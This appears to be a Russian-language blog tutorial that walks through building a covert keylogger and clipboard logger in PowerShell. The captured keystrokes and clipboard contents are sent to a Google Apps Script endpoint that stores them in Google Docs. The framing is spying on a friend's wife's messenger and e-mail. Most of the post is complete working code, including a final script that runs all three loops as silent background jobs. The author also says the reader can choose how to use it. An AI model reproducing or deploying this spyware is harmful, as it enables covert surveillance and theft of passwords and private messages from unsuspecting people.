Страницы

воскресенье, 2 июня 2013 г.

Пишем KeyLogger на PowerShell и JavaScript.

Давным−давно, в далекой, далекой галактике... ко мне обратился товарищ с просьбой поломать icq и e-mail его супруги. Дело было очень личное, я посоветовал ему установить какого-нибудь клавиатурного шпиона и он решил свой вопрос с помощью одного из экземпляров упомянутого типа программ. Недавно похожий вопрос появился на одном посещаемом мною ресурсе и я понял, что теперь есть возможность его решить с помощью скрипта. Let's get the party started :).


Для приготовления нам понадобятся PowerShell v3, PowerShell ISE, браузер и аккаунт Google.

Идем на drive.google.com, создаем новый документ. Я назвал его key.log.
Копируем из адресной строки браузера его ID и закрываем.

Создаем скрипт (можно путем перехода по адресу script.google.com). Я назвал его PSKeyLogger.
Пишем код скрипта.
function myFunction() {  
  var docId = 'ID_документа';
  var doc = DocumentApp.openById(docId);
  if (!doc) return;
  var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + 
                                   '\n' + 'Hello, PSKeyLogger!');  
}

Авторизуем скрипт для работы с Document Services путем выполнения myFunction().

Проверим файл key.log.

Переименуем myFunction() в doPost(e). Немного изменим код скрипта - будем читать параметр с именем keys.
function doPost(e) {
  if (!e.parameter.keys) return;
  var docId = 'ID_документа';
  var doc = DocumentApp.openById(docId);
  if (!doc) return;
  var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + 
                                   '\n' + e.parameter.keys);  
}

Сохраняем версию и разворачиваем веб-приложение.

Копируем URL приложения.
Открываем PowerShell ISE, создаем новый скрипт, пишем код.
Add-Type -AssemblyName System.Web
$url = "https://script.google.com/macros/s/URL_скрипта/exec?keys="
$req = $url + [System.Web.HttpUtility]::UrlEncode("Hello, PSKeyLogger! #2!")
"request = " + $req
$res = Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $req    
($res.StatusCode -eq 200)

Запускаем скрипт. После того, как получаем ответ от сервера, в консоли появляется сравнение статуса результата запроса с ОК - 200.

Проверим файл key.log еще раз.

Создаем еще один ps-скрипт - непосредственно клавиатурный шпион. На авторство не претендую: идея - nishang, реализация - shima. Мои изменения - незначительны.
$MAPVK_VSC_TO_VK_EX = 0x03

$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@

$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru

$ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд
$logfile = "$env:temp\key.log" # путь к файлу журнала

while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $gotit = ""
    for ($char = 1; $char -le 254; $char++) {        
        $gotit = $getKeyState::GetAsyncKeyState($char)
        if ($gotit -eq -32767) {
            $scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX)

            $kbstate = New-Object Byte[] 256
            $checkkbstate = $getKBState::GetKeyboardState($kbstate)

            $mychar = New-Object -TypeName "System.Text.StringBuilder";
            $unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

            if ($unicode_res -gt 0) {                
                [System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode)
            }
        }
    }
}

Запускаем скрипт, нажимаем несколько кнопок на клавиатуре, после чего прерываем бесконечный цикл (Ctrl+C).
Читаем содержимое журнала.

В контексте настоящего повествования не может не заинтересовать содержимое буфера обмена, для чего создаем еще один скрипт.
Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд
$cbtext = ""
$cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $tb = New-Object System.Windows.Forms.TextBox
    $tb.Multiline = $true
    $tb.Paste()
    $cb = $tb.Text
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

Запускаем скрипт, копируем несколько строчек в буфер обмена, после чего прерываем бесконечный цикл (Ctrl+C).
Читаем содержимое журнала буфера обмена

Идем на drive.google.com, создаем новый документ. Я назвал его сlipboard.log.
Копируем из адресной строки браузера его ID и закрываем.

Переходим к скрипту PSKeyLogger, меняем его код с учетом появившегося файла журнала буфера обмена.
function doPost(e) {
  var docId = 'ID_журнала_клавиатурного_шпиона';
  var clipId = 'ID_журнала_буфера_обмена';
  if (e.parameter.keys) {      
    var doc = DocumentApp.openById(docId);
    if (doc) {
    var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + 
                                     '\n' + e.parameter.keys);
    }
  }
  if (e.parameter.clip) {    
    var doc = DocumentApp.openById(clipId);
    if (doc) {
    var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + 
                                     '\n' + e.parameter.clip);
    }
  }
}

Возвращаемся обратно в PowerShell ISE, создаем еще один скрипт, который будет читать содержимое обоих журналов и закидывать данные по адресу скрипта на drive.google.com.
Add-Type -AssemblyName System.Web
    $url = "https://script.google.com/macros/s/URL_скрипта/exec?"
    $ss_s = 60 # выполнение кода в бесконечном цикле каждые 60 секунд
    $logfile = "$env:temp\key.log"
    $cbfile = "$env:temp\сlipboard.log"
    $logpre = "keys="
    $clippre = "clip="    
    while ($true) {
        Start-Sleep -Seconds $ss_s
        $arr = @()
        if (Test-Path $logfile) {
            $arr += $logpre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $logfile))
        }
        if (Test-Path $cbfile) {
            $arr += $clippre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $cbfile))
        }    
        if ($arr.Length -ne 0) {                      
            $res = Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $url -Body ($arr -join "&")
            ($res.StatusCode -eq 200)
        }
    }

Запускаем скрипт, ждем 60 секунд до тех пор, пока в консоли отобразится сравнение статуса результата запроса с ОК - 200, после чего прерываем бесконечный цикл (Ctrl+C).

Переходим на drive.google.com, проверяем содержимое наших журналов.

key.log:

clipboard.log:

В завершение возвращаемся в PowerShell ISE, создаем финальный ps-скрипт: оборачиваем предыдущие скрипты в -ScriptBlock{} командлета Start-Job. Каждому из трех командлетов добавляем параметр -ErrorAction SilentlyContinue.
Start-Job -ScriptBlock {
    $MAPVK_VSC_TO_VK_EX = 0x03

    $virtualkc_sig = @'
    [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
    public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@

    $kbstate_sig = @'
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int GetKeyboardState(byte[] keystate);
'@

    $mapchar_sig = @'
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

    $tounicode_sig = @'
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

    $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
    $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
    $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
    $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru

    $ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд
    $logfile = "$env:temp\key.log" # путь к файлу журнала

    while ($true) {
        Start-Sleep -Milliseconds $ss_ms
        $gotit = ""
        for ($char = 1; $char -le 254; $char++) {        
            $gotit = $getKeyState::GetAsyncKeyState($char)
            if ($gotit -eq -32767) {
                $scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX)

                $kbstate = New-Object Byte[] 256
                $checkkbstate = $getKBState::GetKeyboardState($kbstate)

                $mychar = New-Object -TypeName "System.Text.StringBuilder";
                $unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

                if ($unicode_res -gt 0) {                
                    [System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode)
                }
            }
        }
    }
} -ErrorAction SilentlyContinue

Start-Job -ScriptBlock {
    Add-Type -AssemblyName System.Windows.Forms
    $ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд
    $cbtext = ""
    $cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
    while ($true) {
        Start-Sleep -Milliseconds $ss_ms
        $tb = New-Object System.Windows.Forms.TextBox
        $tb.Multiline = $true
        $tb.Paste()
        $cb = $tb.Text
        if ($cbtext -ne $cb) {
            $cbtext = $cb
            Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
        }
    }
} -ErrorAction SilentlyContinue

Start-Job -ScriptBlock {
    Add-Type -AssemblyName System.Web
    $url = "https://script.google.com/macros/s/URL_скрипта/exec?"
    $ss_s = 60 # выполнение кода в бесконечном цикле каждые 60 секунд
    $logfile = "$env:temp\key.log"
    $cbfile = "$env:temp\сlipboard.log"
    $logpre = "keys="
    $clippre = "clip="    
    while ($true) {
        Start-Sleep -Seconds $ss_s
        $arr = @()
        if (Test-Path $logfile) {
            $arr += $logpre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $logfile))
        }
        if (Test-Path $cbfile) {
            $arr += $clippre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $cbfile))
        }    
        if ($arr.Length -ne 0) {                   
            Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $url -Body ($arr -join "&")            
        }
    }
} -ErrorAction SilentlyContinue

Запускаем скрипт - в PowerShell ISE можно нажатием F5.
Спустя минуту-другую остановим и удалим все выполняемые в текущем сеансе задания.

Проверим журналы - в процессе выполнения скрипта я нажимал на кнопки на клавиатуре и копировал пару кусков кода в буфер обмена.

key.log:
clipboard.log:

Party's over. Результат - симбиоз платформ COM и .NET, Windows Management Framework, облачных сервисов Google, PowerShell и JavaScript.

Резюмируя повествование, хочу обратить внимание любознательного читателя, что полученное решение может пригодиться далеко не только ревнивым супругам. Как использовать полученный код - решать вам ;).

Ну и дисклеймер на всякий случай: за "допиливание" полученного кода с целью противозаконного использования автор ответственности не несет.